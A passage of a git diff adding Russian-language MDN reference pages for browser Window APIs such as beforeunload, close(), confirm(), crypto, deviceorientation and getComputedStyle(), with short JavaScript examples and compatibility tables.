Интерфейс{{domxref("Event")}}
Свойство обработчика событий{{domxref("WindowEventHandlers/onbeforeunload", "onbeforeunload")}}
+ +

Это событие позволяет веб-странице вызвать диалоговое окно подтверждения, спрашивающее пользователя, действительно ли он хочет покинуть страницу. Если пользователь подтверждает, браузер переходит на новую страницу, в противном случае он отменяет навигацию.

+ +

В соответствии со спецификацией, для отображения диалогового окна подтверждения обработчик события должен вызвать{{domxref("Event.preventDefault()", "preventDefault()")}} по событию.

+ +

Однако обратите внимание, что не все браузеры поддерживают этот метод, а некоторые требуют от обработчика событий реализации одного из двух старых методов:

+ + + +

Некоторые браузеры используют для отображения возвращаемой строки в диалоге подтверждения, позволяя обработчику события отображать пользователю пользовательское сообщение. Однако это устарело и больше не поддерживается в большинстве браузеров.

+ +

Для борьбы с нежелательными всплывающими окнами браузеры могут не отображать подсказки, созданные в обработчиках событий beforeunload, за исключением случаев, когда страница была обработана или даже не отображается вообще.

+ +

Прикрепление обработчика/слушателя событий к window или document's beforeunload событие не позволяет браузерам использовать кэш навигации по страницам в памяти, наподобие Firefox's Back-Forward cache or WebKit's Page Cache.

+ +

В спецификации HTML указано, что вызовы {{domxref("window.alert()")}}, {{domxref("window.confirm()")}}, и {{domxref("window.prompt()")}} методы могут быть проигнорированы во время этого события. Посмотреть HTML specification для более подробной информации.

+ +

Примеры

+ +

В HTML-спецификации указано, что авторы должны использовать метод {{domxref("Event.preventDefault()")}}, а не {{domxref("Event.returnValue")}}. Однако, это поддерживается не всеми браузерами.

+ +
window.addEventListener('beforeunload', (event) => {
+  // Отмените событие, как указано в стандарте.
+  event.preventDefault();
+  // Хром требует установки возвратного значения.
+  event.returnValue = '';
+});
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "indices.html#event-beforeunload", "beforeunload")}}{{Spec2("HTML WHATWG")}}
{{SpecName("HTML5 W3C", "browsers.html#unloading-documents", "beforeunload")}}{{Spec2("HTML5 W3C")}}Initial definition
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Window.beforeunload_event")}}

+ +

Смотрите WindowEventHandlers/onbeforeunload для получения более подробной информации о том, как различные браузеры обрабатывают это событие.

+ +

См. также

+ + diff --git a/files/ru/web/api/window/blur/index.html b/files/ru/web/api/window/blur/index.html new file mode 100644 index 0000000000..f5a8f8358a --- /dev/null +++ b/files/ru/web/api/window/blur/index.html @@ -0,0 +1,39 @@ +--- +title: Window.blur() +slug: Web/API/Window/blur +translation_of: Web/API/Window/blur +--- +

{{APIRef}}

+ +

Описание

+ +

Убирает фокус с окна.

+ +

Синтаксис

+ +
window.blur()
+ +

Пример

+ +
window.blur();
+ +

Примечания

+ +

Метод window.blur() является программным эквивалентом действия, когда пользователь переключает фокус с текущего окна.

+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG','interaction.html#dom-window-blur','Window.blur()')}}{{Spec2('HTML WHATWG')}} 
diff --git a/files/ru/web/api/window/cancelanimationframe/index.html b/files/ru/web/api/window/cancelanimationframe/index.html new file mode 100644 index 0000000000..897d147ae0 --- /dev/null +++ b/files/ru/web/api/window/cancelanimationframe/index.html @@ -0,0 +1,65 @@ +--- +title: window.cancelAnimationFrame() +slug: Web/API/Window/cancelAnimationFrame +translation_of: Web/API/Window/cancelAnimationFrame +--- +
{{APIRef}}
+ +

Метод window.cancelAnimationFrame() останавливает анимацию, запланированную с помощью {{domxref("window.requestAnimationFrame()")}}.

+ +

Синтаксис

+ +
window.cancelAnimationFrame(requestID);
+
+ +

Параметры

+ +
+
requestID
+
Значение, которое возвращает {{domxref("window.requestAnimationFrame()")}} при запросе callback.
+
+ +

Примеры

+ +
var requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame ||
+                            window.webkitRequestAnimationFrame || window.msRequestAnimationFrame;
+
+var cancelAnimationFrame = window.cancelAnimationFrame || window.mozCancelAnimationFrame;
+
+var start = window.mozAnimationStartTime;  // Поддерживается только FF. В других браузерах можно использовать Date.now().
+
+var myReq;
+
+function step(timestamp) {
+  var progress = timestamp - start;
+  d.style.left = Math.min(progress / 10, 200) + 'px';
+  if (progress < 2000) {
+    // Важно обновлять requestId при каждом запросе requestAnimationFrame
+    myReq = requestAnimationFrame(step);
+  }
+}
+myReq = requestAnimationFrame(step);
+// остановка с использованием последнего requestId
+cancelAnimationFrame(myReq);
+
+ +

Совместимость с браузерами

+ +
+ + +

{{Compat("api.Window.cancelAnimationFrame")}}

+
+ +

Спецификация

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/window/clearimmediate/index.html b/files/ru/web/api/window/clearimmediate/index.html new file mode 100644 index 0000000000..b1ac586186 --- /dev/null +++ b/files/ru/web/api/window/clearimmediate/index.html @@ -0,0 +1,44 @@ +--- +title: Window.clearImmediate() +slug: Web/API/Window/clearImmediate +tags: + - API + - DOM + - метод +translation_of: Web/API/Window/clearImmediate +--- +

{{ Apiref() }}

+ +

Данный метод очищает действие, определённое {{ domxref("window.setImmediate") }}.

+ +
Note: На текущий момент данный метод находится на стадии предложения на внедрение, не является стандартом и имплементирован только в последних сборках Internet Explorer.
+ +

Синтаксис

+ +
window.clearImmediate(immediateID)
+
+ +

где immediateID это идентификатор, возвращаемый из {{ domxref("window.setImmediate") }}.

+ +

Примеры

+ +
var immediateID = setImmediate(function () {
+  // Выполнение некоего кода
+}
+
+document.getElementById("button").addEventListener(function () {
+  clearImmediate(immediateID);
+}, false);
+
+ +

Поддержка браузерами

+ + + +

{{Compat("api.Window.clearImmediate")}}

+ +

Смотрите также

+ +

{{ domxref("window.setImmediate") }}

+ +

{{ spec("https://dvcs.w3.org/hg/webperf/raw-file/tip/specs/setImmediate/Overview.html", "Specification: Efficient Script Yielding") }}

diff --git a/files/ru/web/api/window/close/index.html b/files/ru/web/api/window/close/index.html new file mode 100644 index 0000000000..87d7225262 --- /dev/null +++ b/files/ru/web/api/window/close/index.html @@ -0,0 +1,67 @@ +--- +title: Window.close() +slug: Web/API/Window/close +translation_of: Web/API/Window/close +--- +

{{APIRef}}

+ +

Функция Window.close() закрывает текущее окно или окно, которое было открыто с помощью функции Window.open().

+ +

Этот метод разрешено использовать только для окон, которые были открыты с помощью функции {{domxref("window.open()")}}. Если окно не было открыто посредством JavaScript, в консоли появится ошибка, похожая на эту: Scripts may not close windows that were not opened by script.

+ +

Синтаксис

+ +
window.close();
+ +

Примеры

+ +

Закрытие окна, открытого с помощью window.open()

+ +

В примере показаны два метода, в которых первый из них открывает окно, а второй закрывает; этот пример иллюстрирует как использовать Window.close() для закрытия окна, открытого с помощью функции {{domxref("window.open()")}}.

+ +
// Глобальная переменная, хранящая ссылку на открыток окно
+var openedWindow;
+
+function openWindow() {
+  openedWindow = window.open('moreinfo.htm');
+}
+
+function closeOpenedWindow() {
+  openedWindow.close();
+}
+
+ +

Закрытие текущего окна

+ +

В прошлом, если бы вы вызвали фунцию close() объекта window, вместо вызова функции close() для созданного окна, браузер закрыл бы текущее окно, создал ли его ваш скрипт или нет. В текущее время этого не произойдет; по причинам безопасности, скриптам больше не разрешено закрывать окна, которые они не открыли. (Firefox 46.0.1: scripts can not close windows, they had not opened)

+ +
function closeCurrentWindow() {
+  window.close();
+}
+
+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('HTML WHATWG', '#dom-window-close', 'window.close()')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5 W3C', "browsers.html#dom-window-close", "Window.close()")}}{{Spec2('HTML5 W3C')}} 
+ +

Совместимость с браузерами

+ +

{{Compat("api.Window.close")}}

diff --git a/files/ru/web/api/window/closed/index.html b/files/ru/web/api/window/closed/index.html new file mode 100644 index 0000000000..fc1cf46867 --- /dev/null +++ b/files/ru/web/api/window/closed/index.html @@ -0,0 +1,59 @@ +--- +title: Window.closed +slug: Web/API/Window/closed +translation_of: Web/API/Window/closed +--- +
{{APIRef}}
+ +

Общая информация

+ +

Данное свойство только для чтения указывает, открыто ли целевое  окно или нет.

+ +

Синтаксис

+ +
isClosed = windowRef.closed;
+
+ +
+
isClosed
+
Переменная логического типа. Возможные значения: +
    +
  • true: Окно было закрыто.
    • +
  • false: Окно открыто.
    • +
+
+
+ +

Примеры

+ +

Изменение URL окна браузера со всплывающего окна

+ +

Следующий пример демонстрирует, как всплывающее окно может изменять URL окна, которое его открыло. Перед тем, как изменить URL, оно проверяет, имеет ли текущее окно свойство window.opener и не закрыто ли оно:

+ +
// проверяет, если window.opener существует и не закрыт
+if (window.opener && !window.opener.closed) {
+  window.opener.location.href = "http://www.mozilla.org";
+}
+ +

Заметьте, что всплывающие окна имеют доступ только к окнам, которые их открыли.

+ +

Обновление ранее открытого всплывающего окна

+ +

В данном примере функция refreshPopupWindow() вызывает метод reload у объекта локации всплывающего окна для обновления его данных. Если всплывающее окно еще не было открыто или пользователь его закрыл, открывает новое окно.

+ +
var popupWindow = null;
+
+function refreshPopupWindow() {
+  if (popupWindow && !popupWindow.closed) {
+    // popupWindow открыто, обновите его
+    popupWindow.location.reload(true);
+  } else {
+    // открывает новое всплывающее окно
+    popupWindow = window.open("popup.html","dataWindow");
+  }
+}
+
+ +

Спецификация

+ +

HTML5

diff --git a/files/ru/web/api/window/confirm/index.html b/files/ru/web/api/window/confirm/index.html new file mode 100644 index 0000000000..8e481973df --- /dev/null +++ b/files/ru/web/api/window/confirm/index.html @@ -0,0 +1,70 @@ +--- +title: Window.confirm() +slug: Web/API/Window/confirm +translation_of: Web/API/Window/confirm +--- +
{{ApiRef("Window")}}
+ +

Метод Window.confirm() отображает диалоговое окно, которое содержит две кнопки (OK и Cancel), а так же опциональное (необязательное) текстовое сообщение.

+ +

Синтаксис

+ +
result = window.confirm(message);
+
+ + + +

Пример

+ +
if (window.confirm("Do you really want to leave?")) {
+  window.open("exit.html", "Thanks for Visiting!");
+}
+
+ +

Результат:

+ +

firefox confirm
+  

+ +

Заметки

+ +

Окна сообщений - модальные, они препятствуют получению пользователем доступа к другим частям страницы до тех пор, пока окно не будет закрыто. По этой причине, вам не следует злоупотреблять этой функцией. Более того, существуют более веские причины избегать использования диалоговых окон для подтверждения действий пользователя.

+ +

Пользователям Mozilla Chrome (например, расширений Firefox) следует использовать методы {{interface("nsIPromptService")}} как альтернативу.

+ +

Начиная с Chrome {{CompatChrome(46.0)}} этот метод заблокирован в {{htmlelement("iframe")}} до тех пор, пока атрибут sandbox не установлен в значение allow-modal.

+ +

{{gecko_minversion_inline("23.0")}} Аргумент является опциональным и необязательным согласно спецификации.

+ +

Спецификация

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'timers-and-user-prompts.html#dom-confirm', 'confirm()')}}{{Spec2('HTML WHATWG')}} 
+ +

 

+ +

Совместимость с браузерами

+ +

{{Compat("api.Window.confirm")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/window/console/index.html b/files/ru/web/api/window/console/index.html new file mode 100644 index 0000000000..d6fac2ad19 --- /dev/null +++ b/files/ru/web/api/window/console/index.html @@ -0,0 +1,53 @@ +--- +title: Window.console +slug: Web/API/Window/console +translation_of: Web/API/Window/console +--- +

{{ APIRef }}

+ +

Свойство window.console дает доступ к интерфейсу {{domxref("Console")}}, предоставляющий методы для вывода информации в консоль браузера. Данные методы предназначены для отладки приложения, и не должны использоваться конечными пользователями.

+ +

Синтаксис

+ +
var consoleObj = window.console;
+
+ +

Примеры

+ +

Вывод текста в консоль

+ +

Первый пример просто выведет текст в консоль:

+ +
console.log("An error occurred while loading the content");
+
+ +

Следующий пример выведет объект в консоль, с возможностью раскрытия отдельных полей:

+ +
console.dir(someObject);
+ +

Примеры можно посмотреть по ссылке: {{SectionOnPage("/ru/docs/Web/API/Console", "Usage")}}

+ +

 

+ +

 

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Console API')}}{{Spec2('Console API')}}Initial definition.
+ +
+

Currently there are many implementation differences among browsers, but work is being done to bring them together and make them more consistent with one another.

+
diff --git a/files/ru/web/api/window/crypto/index.html b/files/ru/web/api/window/crypto/index.html new file mode 100644 index 0000000000..48087d7eda --- /dev/null +++ b/files/ru/web/api/window/crypto/index.html @@ -0,0 +1,93 @@ +--- +title: Window.crypto +slug: Web/API/Window/crypto +tags: + - API + - Нужно описание + - Нужны примеры + - Совместимость +translation_of: Web/API/Window/crypto +--- +

{{APIRef}}

+ +

{{domxref("Window.crypto")}} дает доступ к интерфейсу {{domxref("Crypto")}}. Этот интерфейс предоставляет веб-странице доступ к встроенным в браузер возможностям криптографии.

+ +

Синтаксис

+ +
var cryptoObj = window.crypto || window.msCrypto; // для IE 11
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Web Crypto API')}}{{Spec2('Web Crypto API')}}Стабильное API
+ +

Реализация в браузерах

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ФунционалChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовый{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}11 {{ property_prefix("-ms") }}15{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовый{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

См. так же:

+ + diff --git a/files/ru/web/api/window/deviceorientation_event/index.html b/files/ru/web/api/window/deviceorientation_event/index.html new file mode 100644 index 0000000000..0d264588d7 --- /dev/null +++ b/files/ru/web/api/window/deviceorientation_event/index.html @@ -0,0 +1,171 @@ +--- +title: deviceorientation +slug: Web/API/Window/deviceorientation_event +tags: + - Имитация смены положения + - Определение ориентации + - Ориентация + - Сенсоры +translation_of: Web/API/Window/deviceorientation_event +--- +

Событие deviceorientation срабатывает, когда с сенсоров ориентации поступают новые данные о текущем положении устройства внутри Земной системы координат. Эти данные собираются с помощью мангитометра устройства. Более детальное объяснение дано в Ориентация и объяснение данных движения.

+ +

Общая информация

+ +
+
Спецификация
+
Событие DeviceOrientation
+
Определение
+
DeviceOrientationEvent
+
Всплывает
+
Нет
+
Отменяемо
+
Нет
+
Целевой элемент
+
По умолчанию (window)
+
Действие по умолчанию 
+
 
+
Нет
+
+ +

Свойства

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not?
alpha {{readonlyInline}}double (float)The current orientation of the device around the Z axis; that is, how far the device is rotated around a line perpendicular to the device.
beta {{readonlyInline}}double (float)The current orientation of the device around the X axis; that is, how far the device is tipped forward or backward.
gamma {{readonlyInline}}double (float)The current orientation of the device around the Y axis; that is, how far the device is turned left or right.
absolute {{readonlyInline}}{{jsxref("boolean")}}This value is true if the orientation is provided as a difference between the device coordinate frame and the Earth coordinate frame; if the device can't detect the Earth coordinate frame, this value is false.
+ +

Пример

+ +
if (window.DeviceOrientationEvent) {
+    window.addEventListener("deviceorientation", function(event) {
+        // alpha: rotation around z-axis
+        var rotateDegrees = event.alpha;
+        // gamma: left to right
+        var leftToRight = event.gamma;
+        // beta: front back motion
+        var frontToBack = event.beta;
+
+        handleOrientationEvent(frontToBack, leftToRight, rotateDegrees);
+    }, true);
+}
+
+var handleOrientationEvent = function(frontToBack, leftToRight, rotateDegrees) {
+    // Сделайте что-нибудь необычное здесь
+};
+
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка7.03.6[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка3.03.6[1]{{CompatNo}}124.2
+
+ +

[1] Firefox 3.6, 4, и 5 поддерживают mozOrientation вместо стандартного события DeviceOrientation.

+ +

Похожие события

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/window/devicepixelratio/index.html b/files/ru/web/api/window/devicepixelratio/index.html new file mode 100644 index 0000000000..e5df4bef29 --- /dev/null +++ b/files/ru/web/api/window/devicepixelratio/index.html @@ -0,0 +1,46 @@ +--- +title: Window.devicePixelRatio +slug: Web/API/Window/devicePixelRatio +translation_of: Web/API/Window/devicePixelRatio +--- +

{{APIRef}}

+ +

Сводка

+ +

devicePixelRatio - свойство глобального объекта window (доступно только для чтения). Оно содержит отношение разрешения дисплея текущего устройства в физических пикселях к разрешению в логических (CSS) пикселях. Также это значение можно интерпретировать как отношение размера одного физического пикселя к размеру одного логического (CSS) пикселя.

+ +

Не существует событий или поддержки обратных вызовов при изменении этого свойства (например, когда пользователь перетащил окно с одного дисплея на другой, имеющих различную плотность пикселей).

+ +

Синтаксис

+ +
value = window.devicePixelRatio;
+
+ +

Полифилл

+ +

Свойство не поддерживается в IE ниже 11, однако в IE10 можно получить значение в виде отношения:

+ +
window.screen.deviceXDPI / window.screen.logicalXDPI
+ +

Спецификация

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSSOM View", "#dom-window-devicepixelratio", "Window.devicePixelRatio")}}{{Spec2("CSSOM View")}}Initial definition
+ +

Поддержка браузерами

+ +

{{Compat("api.Window.devicePixelRatio")}}

diff --git a/files/ru/web/api/window/document/index.html b/files/ru/web/api/window/document/index.html new file mode 100644 index 0000000000..088c178f20 --- /dev/null +++ b/files/ru/web/api/window/document/index.html @@ -0,0 +1,63 @@ +--- +title: Window.document +slug: Web/API/Window/document +translation_of: Web/API/Window/document +--- +
{{APIRef}}
+ +

Описание

+ +

window.document возвращает ссылку на документ, содержащийся в окне.

+ +
Note: {{Fx_minversion_inline(3)}} Firefox 3 вносит изменения в правила безопасности для windows' документов, чтобы только домен, на котором они расположены, имел доступ к документам. И хотя это может сломать некоторые существующие сайты, Firefox 3 и Internet Explorer 7 сделали этот шаг, что приводит к улучшению безопасности.
+ +

Синтaксис

+ +
doc = window.document
+
+ +

Параметры

+ + + +

Пример

+ +
<!DOCTYPE html>
+<html>
+<head>
+   <title>Hello, World!</title>
+</head>
+<body>
+
+<script type="text/javascript">
+   var doc = window.document;
+   console.log(doc.title); // Hello, World!
+</script>
+
+</body>
+</html>
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', '#dom-document-2', 'Window.document')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', 'browsers.html#dom-document-0', 'Window.document')}}{{Spec2('HTML5 W3C')}}
diff --git a/files/ru/web/api/window/frameelement/index.html b/files/ru/web/api/window/frameelement/index.html new file mode 100644 index 0000000000..bd901523fb --- /dev/null +++ b/files/ru/web/api/window/frameelement/index.html @@ -0,0 +1,95 @@ +--- +title: Window.frameElement +slug: Web/API/Window/frameElement +translation_of: Web/API/Window/frameElement +--- +
{{ ApiRef() }}
+ +
 
+ +

Сводка

+ +

Возвращает элемент (например <iframe> или <object>), в который встроено окно, или  null, если это окно верхнего уровня.

+ +

Синтаксис

+ +
frameEl = window.frameElement;
+
+ + + +

Пример

+ +
var frameEl = window.frameElement;
+// Если мы внутри фрейма, то изменить его URL на 'http://mozilla.org/'
+if (frameEl) {
+  frameEl.src = 'http://mozilla.org/';
+}
+
+ +

Примечания

+ +

Заметьте, что несмотря на свое имя, свойство также работает для документов внутри <object> и других встраиваемых элементов.

+ +

Спецификация

+ +

WHATWG

+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support4?{{CompatGeckoDesktop("1")}}5.5?12.1?4?
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("1")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/window/frames/index.html b/files/ru/web/api/window/frames/index.html new file mode 100644 index 0000000000..271af17e78 --- /dev/null +++ b/files/ru/web/api/window/frames/index.html @@ -0,0 +1,57 @@ +--- +title: Window.frames +slug: Web/API/Window/frames +translation_of: Web/API/Window/frames +--- +

{{APIRef("DOM")}}

+ +

Возвращает само окно, являющееся объектом в виде массива, распечатывая элементы текущего окна.

+ +

Syntax

+ +
frameList = window.frames;
+
+ + + +

Example

+ +
var frames = window.frames; // or // var frames = window.parent.frames;
+for (var i = 0; i < frames.length; i++) {
+  // do something with each subframe as frames[i]
+  frames[i].document.body.style.background = "red";
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "browsers.html#dom-frames", "Window.frames")}}{{Spec2("HTML WHATWG")}} 
{{SpecName("HTML5 W3C", "browsers.html#dom-frames", "Window.frames")}}{{Spec2("HTML5 W3C")}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.Window.frames")}}

diff --git a/files/ru/web/api/window/gamepadconnected_event/index.html b/files/ru/web/api/window/gamepadconnected_event/index.html new file mode 100644 index 0000000000..b6911211a9 --- /dev/null +++ b/files/ru/web/api/window/gamepadconnected_event/index.html @@ -0,0 +1,85 @@ +--- +title: gamepadconnected +slug: Web/API/Window/gamepadconnected_event +translation_of: Web/API/Window/gamepadconnected_event +--- +

Событие gamepadconnected вызывается, когда браузер обнаруживает подключение геймпада или первое использование кнопки/стика.

+ +

Основная информация

+ +
+
Спецификация
+
Gamepad
+
Интерфейс
+
Event
+
Всплывающее
+
Нет
+
Отменяемое
+
Нет
+
Цель
+
DefaultView (<window>)
+
Действие по умолчанию
+
Отсутствует
+
+ +

Свойства

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойствоТипОписание
target {{readonlyInline}}{{domxref("EventTarget")}}Цель события (самый верхний элемент DOM дерева).
type {{readonlyInline}}{{domxref("DOMString")}}Тип события.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Является ли событие всплывающим.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Является ли событие отменяемым.
gamepad {{readonlyInline}}{{domxref("Gamepad")}}Единственный атрибут, предоставляющий доступ к данным геймпада для этого события.
+ +

Пример

+ +
// Обратите внимание, что API всё ещё использует вендорные префиксы в браузерах, которые его реализуют
+window.addEventListener("gamepadconnected", function( event ) {
+
+    // Все значения кнопок и стиков доступны через:
+    event.gamepad;
+
+});
+
+ +

Связанные события

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/window/gamepaddisconnected_event/index.html b/files/ru/web/api/window/gamepaddisconnected_event/index.html new file mode 100644 index 0000000000..f0aac41e38 --- /dev/null +++ b/files/ru/web/api/window/gamepaddisconnected_event/index.html @@ -0,0 +1,74 @@ +--- +title: gamepaddisconnected +slug: Web/API/Window/gamepaddisconnected_event +translation_of: Web/API/Window/gamepaddisconnected_event +--- +

Событие gampaddisconnected вызывается, когда браузер обнаруживает, что геймпад был отключен.

+ +

Основная информация

+ +
+
Спецификация
+
Gamepad
+
Интерфейс
+
Event
+
Всплывающее
+
Нет
+
Отменяемое
+
Нет
+
Цель
+
DefaultView (<window>)
+
Действие по умолчанию
+
Отсутствует
+
+ +

Свойства

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойствоТипОписание
target {{readonlyInline}}{{domxref("EventTarget")}}Цель события (самый верхний элемент DOM дерева).
type {{readonlyInline}}{{domxref("DOMString")}}Тип события.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Является ли событие всплывающим.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Является ли событие отменяемым.
gamepad {{readonlyInline}}{{domxref("Gamepad")}}Единственный атрибут, предоставляющий доступ к данным геймпада для этого события.
+ +

Связанные события

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/window/getcomputedstyle/index.html b/files/ru/web/api/window/getcomputedstyle/index.html new file mode 100644 index 0000000000..fb8239d55e --- /dev/null +++ b/files/ru/web/api/window/getcomputedstyle/index.html @@ -0,0 +1,198 @@ +--- +title: window.getComputedStyle() +slug: Web/API/Window/getComputedStyle +translation_of: Web/API/Window/getComputedStyle +--- +

Метод Window.getComputedStyle() возвращает объект, содержащий значения всех CSS-свойств элемента, полученных после применения всех активных таблиц стилей, и завершения базовых вычислений значений, которые они могут содержать. Некоторые CSS-свойства доступны через API, предоставляемые объектом, или индексацию по именам CSS-свойств.

+ +

Синтаксис

+ +
var style = window.getComputedStyle(element [, pseudoElt]);
+
+ +
+
element
+
{{domxref("Element")}}, свойства которого необходимо получить.
+
pseudoElt {{optional_inline}}
+
Строка указывающая на найденный псевдо-элемент. Опускается (или null) для не псевдо-элементов.
+
+ +

Возвращенный style живой {{domxref("CSSStyleDeclaration")}} обьект, который обновляется автоматически когда элемент стилей изменяется.

+ +

Выводы

+ +

Метод Window.getComputedStyle() предоставляет все значения CSS свойств элементов после применения текущей таблицы стилей или базового расчета каких-либо значений, которые могут быть.

+ +

Пример

+ +
var elem1 = document.getElementById("elemId");
+var style = window.getComputedStyle(elem1, null);
+
+// this is equivalent:
+// var style = document.defaultView.getComputedStyle(elem1, null);
+
+ +
<style>
+ #elem-container{
+   position: absolute;
+   left:     100px;
+   top:      200px;
+   height:   100px;
+ }
+</style>
+
+<div id="elem-container">dummy</div>
+<div id="output"></div>
+
+<script>
+  function getTheStyle(){
+    var elem = document.getElementById("elem-container");
+    var theCSSprop = window.getComputedStyle(elem,null).getPropertyValue("height");
+    document.getElementById("output").innerHTML = theCSSprop;
+   }
+  getTheStyle();
+</script>
+
+ +
function dumpComputedStyles(elem,prop) {
+
+  var cs = window.getComputedStyle(elem,null);
+  if (prop) {
+    console.log(prop+" : "+cs.getPropertyValue(prop));
+    return;
+  }
+  var len = cs.length;
+  for (var i=0;i<len;i++) {
+
+    var style = cs[i];
+    console.log(style+" : "+cs.getPropertyValue(style));
+  }
+
+}
+
+ +

Описание

+ +

Возвращенный обьект - это такой же обьект, который возвращается из свойства элемента {{domxref("HTMLElement.style", "style")}}; Так или иначе, эти два обьекта имеют разные назначения. Обьект который возвращается из getComputedStyle только для чтения и может быть использован для инспектирования стиля элемента (включая описание из <style> элемента или внешней таблицы стилей). Обьект element.style следует использовать для установки стилей на специфических элементах.

+ +

Первый аргумент должен быть элементом (вставка узлов которые не являются элементами, например #text выдаст ошибку).

+ +

defaultView

+ +

Во многих примерах кода, getComputedStyle используется из обьекта document.defaultView. Почти во всех случаях это не нужно, поскольку getComputedStyle существует в обьетке window. Это что-то на подобии шаблона defaultView который был нейкой прослойкой. Люди не хотели писать спецификацию для window и создавали API  которое также могло использоваться для Java. Так или иначе есть только один случай когда метод defaultView должен использоваться: когда вы используете Firefox 3.6 чтобы получить доступ к вычесленным стилям.

+ +

Использования с псевдо-элементами

+ +

getComputedStyle может получить информацию о стилях из псевдо-элемента (например - ::after, ::before, ::marker, ::line-marker - спецификация).

+ +
<style>
+ h3::after {
+   content: 'rocks!';
+ }
+</style>
+
+<h3>generated content</h3>
+
+<script>
+  var h3 = document.querySelector('h3');
+  var result = getComputedStyle(h3, ':after').content;
+
+  console.log('the generated content is: ', result); // возвратит 'rocks!'
+</script>
+
+ +

Notes

+ +

The values returned by getComputedStyle are known as {{cssxref("resolved_value", "resolved values")}}. These are usually the same as the CSS 2.1 {{cssxref("computed_value","computed values")}}, but for some older properties like width, height or padding, they are instead the {{cssxref("used_value","used values")}}. Originally, CSS 2.0 defined the computed values to be the "ready to be used" final values of properties after cascading and inheritance, but CSS 2.1 redefined computed values as pre-layout, and used values as post-layout. For CSS 2.0 properties, the getComputedStyle function returns the old meaning of computed values, now called used values. An example of difference between pre- and post-layout values includes the resolution of percentages that represent the width or the height of an element (also known as its layout), as those will be replaced by their pixel equivalent only in the used value case.

+ +

The returned value is, in certain known cases, expressly inaccurate by deliberate intent. In particular, to avoid the so called CSS History Leak security issue, browsers may expressly "lie" about the used value for a link and always return values as if a user has never visited the linked site. See http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/ and http://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/ for details of the examples of how this is implemented. Most other modern browsers have applied similar changes to the application of pseudo-selector styles and the values returned by getComputedStyle.

+ +

During a CSS transition, getComputedStyle returns the original property value in Firefox, but the final property value in WebKit.

+ +

In Firefox, properties with the value auto return the used value, not the value auto. So if you apply top:auto; and bottom:0; on an element with height:30px and its containing block is height:100px;, upon requesting the computed style for top, Firefox will return top:70px, as 100px-30px=70px.

+ +

Браузерная поддержка

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}9{{CompatVersionUnknown}}{{CompatVersionUnknown}}
